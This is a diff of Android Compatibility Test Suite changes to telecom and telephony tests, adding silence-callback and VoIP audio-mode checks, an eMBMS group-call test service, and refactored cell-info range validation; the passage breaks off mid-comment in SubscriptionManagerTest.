diff --git a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
index 871f3e4..5dba911 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
@@ -582,15 +582,18 @@
         if (!mShouldTestTelecom) {
             return;
         }
-
         addAndVerifyNewIncomingCall(createTestNumber(), null);
         final MockConnection connection = verifyConnectionForIncomingCall();
+        final InvokeCounter counter = connection.getInvokeCounter(MockConnection.ON_SILENCE);
         final MockInCallService inCallService = mInCallCallbacks.getService();
 
         final TelecomManager telecomManager =
             (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
         telecomManager.silenceRinger();
+
+        // Both the InCallService and Connection will be notified of a request to silence:
         mOnSilenceRingerCounter.waitForCount(1);
+        counter.waitForCount(1);
     }
 
     public void testOnPostDialWaitAndContinue() {
diff --git a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
index 8317e3d..af74f88 100644
--- a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
@@ -20,10 +20,14 @@
 import static android.telecom.cts.TestUtils.PACKAGE;
 
 import android.content.ComponentName;
+import android.graphics.drawable.Icon;
 import android.net.Uri;
 import android.os.Bundle;
+import android.telecom.Call;
 import android.telecom.Connection;
+import android.telecom.ConnectionRequest;
 import android.telecom.PhoneAccountHandle;
+import android.telecom.StatusHints;
 import android.telecom.TelecomManager;
 import android.telephony.TelephonyManager;
 
@@ -107,4 +111,33 @@
 
         assertFalse(CtsConnectionService.isServiceRegisteredToTelecom());
     }
+
+    /**
+     * Ensure {@link Call.Details#PROPERTY_VOIP_AUDIO_MODE} is set for a ringing call which uses
+     * voip audio mode.
+     * @throws Exception
+     */
+    public void testAddNewIncomingCallVoipState() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        setupConnectionService(new MockConnectionService() {
+            @Override
+            public Connection onCreateIncomingConnection(
+                    PhoneAccountHandle connectionManagerPhoneAccount,
+                    ConnectionRequest request) {
+                Connection connection = super.onCreateIncomingConnection(
+                        connectionManagerPhoneAccount,
+                        request);
+                connection.setAudioModeIsVoip(true);
+                lock.release();
+                return connection;
+            }
+        }, FLAG_REGISTER | FLAG_ENABLE);
+        addAndVerifyNewIncomingCall(createTestNumber(), null);
+        verifyConnectionForIncomingCall();
+
+        assertTrue((mInCallCallbacks.getService().getLastCall().getDetails().getCallProperties()
+                & Call.Details.PROPERTY_VOIP_AUDIO_MODE) != 0);
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index a761c6a..5ca1b2b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -42,6 +42,7 @@
     public static final int ON_RTT_REQUEST_RESPONSE = 6;
     public static final int ON_STOP_RTT = 7;
     public static final int ON_DEFLECT = 8;
+    public static final int ON_SILENCE = 9;
 
     private CallAudioState mCallAudioState =
             new CallAudioState(false, CallAudioState.ROUTE_EARPIECE, ROUTE_EARPIECE | ROUTE_SPEAKER);
@@ -230,6 +231,15 @@
         }
     }
 
+    @Override
+    public void onSilence() {
+        super.onSilence();
+
+        if (mInvokeCounterMap.get(ON_SILENCE) != null) {
+            mInvokeCounterMap.get(ON_SILENCE).invoke();
+        }
+    }
+
     public int getCurrentState()  {
         return mState;
     }
@@ -333,6 +343,8 @@
                 return "onStopRtt";
             case ON_DEFLECT:
                 return "onDeflect";
+            case ON_SILENCE:
+                return "onSilence";
             default:
                 return "Callback";
         }
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
index 88772b0..2025882 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
@@ -71,7 +71,9 @@
         connection.setAddress(request.getAddress(), CONNECTION_PRESENTATION);
         connection.setPhoneAccountHandle(connectionManagerPhoneAccount);
         connection.setConnectionCapabilities(Connection.CAPABILITY_SUPPORT_HOLD |
-                Connection.CAPABILITY_HOLD);
+                Connection.CAPABILITY_HOLD
+                | Connection.CAPABILITY_SUPPORTS_VT_LOCAL_BIDIRECTIONAL
+                | Connection.CAPABILITY_SUPPORTS_VT_REMOTE_BIDIRECTIONAL);
         if (mCreateVideoProvider) {
             connection.createMockVideoProvider();
         } else {
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
index 4646dab..a78ef29 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
@@ -16,6 +16,8 @@
 
 package android.telecom.cts;
 
+import android.content.Context;
+import android.media.AudioManager;
 import android.net.Uri;
 import android.os.Bundle;
 import android.telecom.Call;
@@ -31,6 +33,7 @@
 import java.util.List;
 import java.util.function.Predicate;
 
+import static android.media.AudioManager.MODE_IN_COMMUNICATION;
 import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
 import static android.telecom.cts.TestUtils.waitOnAllHandlers;
 
@@ -236,6 +239,11 @@
         connection.getOnShowIncomingUiInvokeCounter().waitForCount(1);
         setActiveAndVerify(connection);
 
+        // Ensure that the connection defaulted to voip audio mode.
+        assertTrue(connection.getAudioModeIsVoip());
+        // Ensure AudioManager has correct voip mode.
+        verifyAudioMode();
+
         // Expect there to be no managed calls at the moment.
         assertFalse(mTelecomManager.isInManagedCall());
         assertTrue(mTelecomManager.isInCall());
@@ -309,6 +317,11 @@
 
         setActiveAndVerify(connection);
 
+        // Ensure that the connection defaulted to voip audio mode.
+        assertTrue(connection.getAudioModeIsVoip());
+        // Ensure AudioManager has correct voip mode.
+        verifyAudioMode();
+
         // Expect there to be no managed calls at the moment.
         assertFalse(mTelecomManager.isInManagedCall());
         // But there should be a call (including self-managed).
@@ -560,4 +573,23 @@
         assertIsInCall(false);
         assertIsInManagedCall(false);
     }
+
+    private void verifyAudioMode() {
+        AudioManager am = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return MODE_IN_COMMUNICATION;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return am.getMode();
+                    }
+                },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Expected audio mode to be " + MODE_IN_COMMUNICATION
+        );
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/VideoProfileTest.java b/tests/tests/telecom/src/android/telecom/cts/VideoProfileTest.java
index 6c16abb..18a14f4 100644
--- a/tests/tests/telecom/src/android/telecom/cts/VideoProfileTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/VideoProfileTest.java
@@ -104,4 +104,13 @@
         assertFalse(VideoProfile.isTransmissionEnabled(VideoProfile.STATE_RX_ENABLED));
         assertFalse(VideoProfile.isTransmissionEnabled(VideoProfile.STATE_PAUSED));
     }
-}
+
+    public void testCameraCapability() {
+        VideoProfile.CameraCapabilities cp = new VideoProfile.CameraCapabilities(
+                1, 1, true, 0.5f);
+        assertEquals(1, cp.getWidth());
+        assertEquals(1, cp.getHeight());
+        assertTrue(cp.isZoomSupported());
+        assertEquals(0.5f, cp.getMaxZoom());
+    }
+ }
diff --git a/tests/tests/telecom2/Android.mk b/tests/tests/telecom2/Android.mk
index 5b22a92..9ceb4d4 100644
--- a/tests/tests/telecom2/Android.mk
+++ b/tests/tests/telecom2/Android.mk
@@ -48,6 +48,7 @@
     --rename-manifest-package android.telecom2.cts \
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 21
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/telecom3/Android.mk b/tests/tests/telecom3/Android.mk
index 3138e6c..fc95b23 100644
--- a/tests/tests/telecom3/Android.mk
+++ b/tests/tests/telecom3/Android.mk
@@ -45,6 +45,7 @@
     --rename-manifest-package android.telecom3.cts \
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 25
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/telephony/AndroidManifest.xml b/tests/tests/telephony/AndroidManifest.xml
index b6840a3..764daf5 100644
--- a/tests/tests/telephony/AndroidManifest.xml
+++ b/tests/tests/telephony/AndroidManifest.xml
@@ -155,6 +155,8 @@
                    android:value="android.telephony.cts.embmstestapp/.CtsStreamingService"/>
         <meta-data android:name="mbms-download-service-override"
                    android:value="android.telephony.cts.embmstestapp/.CtsDownloadService"/>
+        <meta-data android:name="mbms-group-call-service-override"
+                   android:value="android.telephony.cts.embmstestapp/.CtsGroupCallService"/>
         <meta-data
             android:name="mbms-file-provider-authority"
             android:value="android.telephony.mbms.cts"/>
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/AndroidManifest.xml b/tests/tests/telephony/EmbmsMiddlewareTestApp/AndroidManifest.xml
index 0ea1be2..880faf6 100644
--- a/tests/tests/telephony/EmbmsMiddlewareTestApp/AndroidManifest.xml
+++ b/tests/tests/telephony/EmbmsMiddlewareTestApp/AndroidManifest.xml
@@ -30,6 +30,13 @@
         <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
       </intent-filter>
     </service>
+    <service android:name="android.telephony.cts.embmstestapp.CtsGroupCallService"
+             android:launchMode="singleInstance">
+      <intent-filter>
+        <action android:name="android.telephony.action.EmbmsGroupCall" />
+        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
+      </intent-filter>
+    </service>
     <service android:name="android.telephony.cts.embmstestapp.CtsDownloadService"
              android:launchMode="singleInstance">
       <intent-filter>
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsGroupCallMiddlewareControl.aidl b/tests/tests/telephony/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsGroupCallMiddlewareControl.aidl
new file mode 100644
index 0000000..7f3bac7
--- /dev/null
+++ b/tests/tests/telephony/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsGroupCallMiddlewareControl.aidl
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.cts.embmstestapp;
+
+import android.os.Parcel;
+
+interface ICtsGroupCallMiddlewareControl {
+    // Resets the state of the CTS middleware
+    void reset();
+    // Get a list of calls made to the middleware binder.
+    // Looks like List<List<Object>>, where the first Object is always a String corresponding to
+    // the method name.
+    List getGroupCallSessionCalls();
+    // Force all methods that can return an error to return this error.
+    void forceErrorCode(int error);
+    // Fire the error callback on the current active call
+    void fireErrorOnGroupCall(int errorCode, String message);
+    // Fire the error callback on the group call session
+    void fireErrorOnSession(int errorCode, String message);
+    // The following fire callbacks on the active group call, using the provided arguments
+    void fireGroupCallStateChanged(int state, int reason);
+    void fireBroadcastSignalStrengthUpdated(int signalStrength);
+    // The following fire callbacks on the group call session.
+    void fireAvailableSaisUpdated(in List currentSais, in List availableSais);
+    void fireServiceInterfaceAvailable(String interfaceName, int index);
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsGroupCallService.java b/tests/tests/telephony/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsGroupCallService.java
new file mode 100644
index 0000000..4fbb762
--- /dev/null
+++ b/tests/tests/telephony/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsGroupCallService.java
@@ -0,0 +1,222 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.cts.embmstestapp;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Binder;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telephony.mbms.GroupCall;
+import android.telephony.mbms.MbmsErrors;
+import android.telephony.mbms.MbmsGroupCallSessionCallback;
+import android.telephony.mbms.GroupCallCallback;
+import android.telephony.mbms.vendor.MbmsGroupCallServiceBase;
+import android.util.Log;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Set;
+
+public class CtsGroupCallService extends MbmsGroupCallServiceBase {
+    private static final Set<String> ALLOWED_PACKAGES = new HashSet<String>() {{
+        add("android.telephony.cts");
+    }};
+    private static final String TAG = "EmbmsTestGroupCall";
+
+    public static final String METHOD_INITIALIZE = "initialize";
+    public static final String METHOD_START_GROUP_CALL = "startGroupCall";
+    public static final String METHOD_UPDATE_GROUP_CALL = "updateGroupCall";
+    public static final String METHOD_STOP_GROUP_CALL = "stopGroupCall";
+    public static final String METHOD_CLOSE = "close";
+
+    public static final String CONTROL_INTERFACE_ACTION =
+            "android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE";
+    public static final ComponentName CONTROL_INTERFACE_COMPONENT =
+            ComponentName.unflattenFromString(
+                    "android.telephony.cts.embmstestapp/.CtsGroupCallService");
+
+    private MbmsGroupCallSessionCallback mAppCallback;
+    private GroupCallCallback mGroupCallCallback;
+
+    private HandlerThread mHandlerThread;
+    private Handler mHandler;
+    private List<List> mReceivedCalls = new LinkedList<>();
+    private int mErrorCodeOverride = MbmsErrors.SUCCESS;
+
+    @Override
+    public int initialize(MbmsGroupCallSessionCallback callback, int subId) {
+        mReceivedCalls.add(Arrays.asList(METHOD_INITIALIZE, subId));
+        if (mErrorCodeOverride != MbmsErrors.SUCCESS) {
+            return mErrorCodeOverride;
+        }
+
+        int packageUid = Binder.getCallingUid();
+        String[] packageNames = getPackageManager().getPackagesForUid(packageUid);
+        if (packageNames == null) {
+            return MbmsErrors.InitializationErrors.ERROR_APP_PERMISSIONS_NOT_GRANTED;
+        }
+        boolean isUidAllowed = Arrays.stream(packageNames).anyMatch(ALLOWED_PACKAGES::contains);
+        if (!isUidAllowed) {
+            return MbmsErrors.InitializationErrors.ERROR_APP_PERMISSIONS_NOT_GRANTED;
+        }
+
+        mHandler.post(() -> {
+            if (mAppCallback == null) {
+                mAppCallback = callback;
+            } else {
+                callback.onError(
+                        MbmsErrors.InitializationErrors.ERROR_DUPLICATE_INITIALIZE, "");
+                return;
+            }
+            callback.onMiddlewareReady();
+        });
+        return MbmsErrors.SUCCESS;
+    }
+
+    @Override
+    public int startGroupCall(final int subscriptionId, final long tmgi,
+            final List<Integer> saiArray, final List<Integer> frequencyArray,
+            final GroupCallCallback callback) {
+        mReceivedCalls.add(Arrays.asList(METHOD_START_GROUP_CALL, subscriptionId, tmgi, saiArray,
+                frequencyArray));
+        if (mErrorCodeOverride != MbmsErrors.SUCCESS) {
+            return mErrorCodeOverride;
+        }
+
+        mGroupCallCallback = callback;
+        mHandler.post(() -> callback.onGroupCallStateChanged(GroupCall.STATE_STARTED,
+                GroupCall.REASON_BY_USER_REQUEST));
+        return MbmsErrors.SUCCESS;
+    }
+
+    @Override
+    public void updateGroupCall(int subscriptionId, long tmgi,
+            List<Integer> saiArray, List<Integer> frequencyArray) {
+        mReceivedCalls.add(Arrays.asList(METHOD_UPDATE_GROUP_CALL,
+                subscriptionId, tmgi, saiArray, frequencyArray));
+    }
+
+    @Override
+    public void stopGroupCall(int subscriptionId, long tmgi) {
+        mReceivedCalls.add(Arrays.asList(METHOD_STOP_GROUP_CALL, subscriptionId, tmgi));
+    }
+
+    @Override
+    public void dispose(int subscriptionId) {
+        mReceivedCalls.add(Arrays.asList(METHOD_CLOSE, subscriptionId));
+    }
+
+    @Override
+    public void onAppCallbackDied(int uid, int subscriptionId) {
+        mAppCallback = null;
+    }
+
+    private final IBinder mControlInterface = new ICtsGroupCallMiddlewareControl.Stub() {
+        @Override
+        public void reset() {
+            mReceivedCalls.clear();
+            mHandler.removeCallbacksAndMessages(null);
+            mAppCallback = null;
+            mErrorCodeOverride = MbmsErrors.SUCCESS;
+        }
+
+        @Override
+        public List getGroupCallSessionCalls() {
+            return mReceivedCalls;
+        }
+
+        @Override
+        public void forceErrorCode(int error) {
+            mErrorCodeOverride = error;
+        }
+
+        @Override
+        public void fireErrorOnGroupCall(int errorCode, String message) {
+            mHandler.post(() -> mGroupCallCallback.onError(errorCode, message));
+        }
+
+        @Override
+        public void fireErrorOnSession(int errorCode, String message) {
+            mHandler.post(() -> mAppCallback.onError(errorCode, message));
+        }
+
+        @Override
+        public void fireGroupCallStateChanged(int state, int reason) {
+            mHandler.post(() -> mGroupCallCallback.onGroupCallStateChanged(state, reason));
+        }
+
+        @Override
+        public void fireBroadcastSignalStrengthUpdated(int signalStrength) {
+            mHandler.post(
+                    () -> mGroupCallCallback.onBroadcastSignalStrengthUpdated(signalStrength));
+        }
+
+        @Override
+        public void fireAvailableSaisUpdated(List currentSais, List availableSais) {
+            mHandler.post(() -> mAppCallback.onAvailableSaisUpdated(currentSais, availableSais));
+        }
+
+        @Override
+        public void fireServiceInterfaceAvailable(String interfaceName, int index) {
+            mHandler.post(() -> mAppCallback.onServiceInterfaceAvailable(interfaceName, index));
+        }
+    };
+
+    @Override
+    public void onDestroy() {
+        mHandlerThread.quitSafely();
+        logd("CtsGroupCallService onDestroy");
+        super.onDestroy();
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        logd("CtsGroupCallService onBind");
+        if (CONTROL_INTERFACE_ACTION.equals(intent.getAction())) {
+            logd("CtsGroupCallService control interface bind");
+            return mControlInterface;
+        }
+        IBinder binder = super.onBind(intent);
+
+        if (mHandlerThread != null && mHandlerThread.isAlive()) {
+            return binder;
+        }
+
+        mHandlerThread = new HandlerThread("CtsGroupCallServiceWorker");
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+        return binder;
+    }
+
+    private static void logd(String s) {
+        Log.d(TAG, s);
+    }
+
+    private void checkInitialized() {
+        if (mAppCallback == null) {
+            throw new IllegalStateException("Not yet initialized");
+        }
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
index ef7f453..06e86fe 100644
--- a/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
@@ -67,6 +67,17 @@
     private static final int MAX_CQI = 30;
     private static final int MIN_CQI = 0;
 
+    /**
+     * Maximum and minimum valid LTE RSSI values in dBm
+     *
+     * The valid RSSI ASU range from current HAL is [0,31].
+     * Convert RSSI ASU to dBm: dBm = -113 + 2 * ASU, which is [-113, -51]
+     *
+     * Reference: TS 27.007 8.5 - Signal quality +CSQ
+     */
+    private static final int MAX_LTE_RSSI = -51;
+    private static final int MIN_LTE_RSSI = -113;
+
     // The followings are parameters for testing CellIdentityCdma
     // Network Id ranges from 0 to 65535.
     private static final int NETWORK_ID  = 65535;
@@ -86,8 +97,8 @@
     private static final int PCI = 503;
     // Tracking area code ranges from 0 to 65535.
     private static final int TAC = 65535;
-    // Absolute RF Channel Number ranges from 0 to 262140.
-    private static final int EARFCN = 47000;
+    // Absolute RF Channel Number ranges from 0 to 262143.
+    private static final int EARFCN_MAX = 262143;
     private static final int BANDWIDTH_LOW = 1400;  // kHz
     private static final int BANDWIDTH_HIGH = 20000;  // kHz
 
@@ -258,6 +269,37 @@
         assertEquals(cdma, newCss);
     }
 
+    private static void verifyPlmnInfo(String mccStr, String mncStr, int mcc, int mnc) {
+        // If either int value is invalid, all values must be invalid
+        if (mcc == Integer.MAX_VALUE) {
+            assertTrue("MNC and MNC must always be reported together.",
+                    mnc == Integer.MAX_VALUE && mccStr == null && mncStr == null);
+            return;
+        }
+
+        assertTrue("getMcc() out of range [0, 999], mcc=" + mcc, (mcc >= 0 && mcc <= 999));
+        assertTrue("getMnc() out of range [0, 999], mnc=" + mnc, (mnc >= 0 && mnc <= 999));
+        assertTrue("MCC and MNC Strings must always be reported together.",
+                (mccStr == null) == (mncStr == null));
+
+        // For legacy compatibility, it's possible to have int values without valid string values
+        // but not the other way around.
+        // mccStr is set as NULL if empty, unknown or invalid.
+        assertTrue("getMccString() out of range [0, 999], mcc=" + mccStr,
+                mccStr == null || mccStr.matches("^[0-9]{3}$"));
+        // mccStr must either be null or match mcc integer.
+        assertTrue("MccString must match Mcc Integer, str=" + mccStr + " int=" + mcc,
+                mccStr == null || mcc == Integer.parseInt(mccStr));
+
+        // mncStr is set as NULL if empty, unknown or invalid.
+        assertTrue("getMncString() out of range [0, 999], mnc=" + mncStr,
+                mncStr == null || mncStr.matches("^[0-9]{2,3}$"));
+        // mncStr must either be null or match mnc integer.
+        assertTrue("MncString must match Mnc Integer, str=" + mncStr + " int=" + mnc,
+                mncStr == null || mnc == Integer.parseInt(mncStr));
+
+    }
+
     // Verify lte cell information is within correct range.
     private void verifyLteInfo(CellInfoLte lte) {
         verifyCellConnectionStatus(lte.getCellConnectionStatus());
@@ -278,17 +320,8 @@
         assertEquals("hashCode() did not get right hasdCode", lte.hashCode(), newCi.hashCode());
     }
 
-
     private void verifyCellIdentityLte(CellIdentityLte lte) {
-        int mcc = lte.getMcc();
-        // getMcc() returns Integer.MAX_VALUE if mccStr is null.
-        assertTrue("getMcc() out of range [0, 999], mcc=" + mcc,
-                (mcc >= 0 && mcc <= 999) || mcc == Integer.MAX_VALUE);
-
-        int mnc = lte.getMnc();
-        // getMnc() returns Integer.MAX_VALUE if mccStr is null.
-        assertTrue("getMnc() out of range [0, 999], mnc=" + mnc,
-                (mnc >= 0 && mnc <= 999) || mnc == Integer.MAX_VALUE);
+        verifyPlmnInfo(lte.getMccString(), lte.getMncString(), lte.getMcc(), lte.getMnc());
 
         // Cell identity ranges from 0 to 268435456.
         int ci = lte.getCi();
@@ -317,6 +350,7 @@
         // LTE, the reported EARFCN is the center frequency, rendering these channels
         // out of the range of the narrowest 1.4Mhz deployment.
         int minEarfcn = 7;
+        int maxEarfcn = EARFCN_MAX - 7;
         if (bw != Integer.MAX_VALUE) {
             // The number of channels used by a cell is equal to the cell bandwidth divided
             // by the channel raster (bandwidth of a channel). The center channel is the channel
@@ -327,19 +361,11 @@
             // channel 0, which means that we can exclude from the valid range channels starting
             // from 0 and numbered less than half the total number of channels occupied by a cell.
             minEarfcn = bw / CHANNEL_RASTER_EUTRAN / 2;
+            maxEarfcn = EARFCN_MAX - (bw / CHANNEL_RASTER_EUTRAN / 2);
         }
-        assertTrue("getEarfcn() out of range [7,47000], earfcn=" + earfcn,
-                earfcn == Integer.MAX_VALUE || (earfcn >= minEarfcn && earfcn <= EARFCN));
-
-        String mccStr = lte.getMccString();
-        // mccStr is set as NULL if empty, unknown or invalid.
-        assertTrue("getMccString() out of range [0, 999], mcc=" + mccStr,
-                mccStr == null || mccStr.matches("^[0-9]{3}$"));
-
-        String mncStr = lte.getMncString();
-        // mncStr is set as NULL if empty, unknown or invalid.
-        assertTrue("getMncString() out of range [0, 999], mnc=" + mncStr,
-                mncStr == null || mncStr.matches("^[0-9]{2,3}$"));
+        assertTrue(
+                "getEarfcn() out of range [" + minEarfcn + "," + maxEarfcn + "], earfcn=" + earfcn,
+                earfcn == Integer.MAX_VALUE || (earfcn >= minEarfcn && earfcn <= maxEarfcn));
 
         String mobileNetworkOperator = lte.getMobileNetworkOperator();
         assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
@@ -376,6 +402,11 @@
         assertTrue("getRsrq() out of range | Integer.MAX_VALUE, rsrq=" + rsrq,
             rsrq == Integer.MAX_VALUE || (rsrq >= MIN_RSRQ && rsrq <= MAX_RSRQ));
 
+        int rssi = cellSignalStrengthLte.getRssi();
+        assertTrue("getRssi() out of range [-113, -51] or Integer.MAX_VALUE if unknown, rssi="
+                + rssi, rssi == CellInfo.UNAVAILABLE
+                || (rssi >= MIN_LTE_RSSI && rssi <= MAX_LTE_RSSI));
+
         int rssnr = cellSignalStrengthLte.getRssnr();
         assertTrue("getRssnr() out of range | Integer.MAX_VALUE, rssnr=" + rssnr,
             rssnr == Integer.MAX_VALUE || (rssnr >= MIN_RSSNR && rssnr <= MAX_RSSNR));
@@ -430,15 +461,7 @@
     }
 
     private void verifyCellIdentityWcdma(CellIdentityWcdma wcdma) {
-        int mcc = wcdma.getMcc();
-        // getMcc() returns Integer.MAX_VALUE if mccStr is null.
-        assertTrue("getMcc() out of range [0, 999], mcc=" + mcc,
-                (mcc >= 0 && mcc <= 999) || mcc == Integer.MAX_VALUE);
-
-        int mnc = wcdma.getMnc();
-        // getMnc() returns Integer.MAX_VALUE if mccStr is null.
-        assertTrue("getMnc() out of range [0, 999], mnc=" + mnc,
-                (mnc >= 0 && mnc <= 999) || mnc == Integer.MAX_VALUE);
+        verifyPlmnInfo(wcdma.getMccString(), wcdma.getMncString(), wcdma.getMcc(), wcdma.getMnc());
 
         int lac = wcdma.getLac();
         assertTrue("getLac() out of range [0, 65535], lac=" + lac,
@@ -454,16 +477,6 @@
         assertTrue("getPsc() out of range [0, 511], psc=" + psc,
                 (psc >= 0 && psc <= PSC) || psc == Integer.MAX_VALUE);
 
-        String mccStr = wcdma.getMccString();
-        // mccStr is set as NULL if empty, unknown or invalid.
-        assertTrue("getMccString() out of range [0, 999], mcc=" + mccStr,
-                mccStr == null || mccStr.matches("^[0-9]{3}$"));
-
-        String mncStr = wcdma.getMncString();
-        // mncStr is set as NULL if empty, unknown or invalid.
-        assertTrue("getMncString() out of range [0, 999], mnc=" + mncStr,
-                mncStr == null || mncStr.matches("^[0-9]{2,3}$"));
-
         String mobileNetworkOperator = wcdma.getMobileNetworkOperator();
         assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
                         + mobileNetworkOperator,
@@ -538,6 +551,8 @@
     }
 
     private void verifyCellIdentityGsm(CellIdentityGsm gsm) {
+        verifyPlmnInfo(gsm.getMccString(), gsm.getMncString(), gsm.getMcc(), gsm.getMnc());
+
         // Local area code and cellid should be with [0, 65535].
         int lac = gsm.getLac();
         assertTrue("getLac() out of range [0, 65535], lac=" + lac,
@@ -557,30 +572,12 @@
         String alphaShort = (String) gsm.getOperatorAlphaShort();
         assertNotNull("getOperatorAlphaShort() returns NULL!", alphaShort);
 
-        String mccStr = gsm.getMccString();
-        // mccStr is set as NULL if empty, unknown or invalid.
-        assertTrue("getMccString() out of range [0, 999], mcc=" + mccStr,
-                mccStr == null || mccStr.matches("^[0-9]{3}$"));
-        String mncStr = gsm.getMncString();
-        // mncStr is set as NULL if empty, unknown or invalid.
-        assertTrue("getMncString() out of range [0, 999], mnc=" + mncStr,
-                mncStr == null || mncStr.matches("^[0-9]{2,3}$"));
-
         String mobileNetworkOperator = gsm.getMobileNetworkOperator();
         assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
                         + mobileNetworkOperator,
                 mobileNetworkOperator == null
                         || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
 
-        int mcc = gsm.getMcc();
-        // getMcc() returns Integer.MAX_VALUE if mccStr is null.
-        assertTrue("getMcc() out of range [0, 999], mcc=" + mcc,
-                (mcc >= 0 && mcc <= 999) || mcc == Integer.MAX_VALUE);
-        int mnc = gsm.getMnc();
-        // getMnc() returns Integer.MAX_VALUE if mccStr is null.
-        assertTrue("getMnc() out of range [0, 999], mnc=" + mnc,
-                (mnc >= 0 && mnc <= 999) || mnc == Integer.MAX_VALUE);
-
         int bsic = gsm.getBsic();
         // TODO(b/32774471) - Bsic should always be valid
         //assertTrue("getBsic() out of range [0,63]", bsic >= 0 && bsic <=63);
diff --git a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
index 3b8656b..18a18d7 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -118,21 +118,25 @@
     }
 
     /**
-     * Sanity check that the device has a cellular network and a valid default data subId
-     * when {@link PackageManager#FEATURE_TELEPHONY} support.
+     * Sanity check that both {@link PackageManager#FEATURE_TELEPHONY} and
+     * {@link NetworkCapabilities#TRANSPORT_CELLULAR} network must both be
